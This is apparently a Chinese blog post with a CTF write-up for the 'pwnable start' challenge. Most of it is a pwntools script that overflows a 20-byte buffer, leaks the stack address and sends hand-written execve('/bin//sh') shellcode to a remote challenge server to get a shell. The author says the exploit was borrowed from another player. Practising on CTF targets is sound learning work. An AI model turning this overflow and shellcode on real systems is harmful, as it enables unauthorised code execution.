pwnable_start

这题又是和系统调用有关的,叫内联汇编,我不懂

点击查看代码
from pwn import *
loacl_elf = ELF("./start")
context.arch = loacl_elf.arch
#p = process("./start")
p = remote("node4.buuoj.cn",25853)
#gdb.attach(p, 'b* 0x08048060')
 
#shellcode=asm(shellcraft.sh())
shellcode = asm("xor ecx,ecx;\
                 xor edx,edx;\
				 push edx;\
				 push 0x68732f6e;\
				 push 0x69622f2f;\
				 mov ebx,esp;\
				 mov al,0xb;\
				 int 0x80")
#payload = 'a'*20  
payload = 'a'*20  + p32(0x08048087)
 
p.recvuntil("Let's start the CTF:")
p.send(payload)
esp_addr = u32(p.recv(4))
p.recv()
payload= 'a' * 20 + p32(esp_addr + 20) + shellcode
p.send(payload)
 
 
p.interactive()
这里要看汇编,还要返回栈顶,shellcode如果用pwntools的好像会超过,这里还得手动打,我不会,这里是别的师傅的exp
posted @ 2022-07-04 16:49  REPWNER  阅读(2)  评论(0)    收藏  举报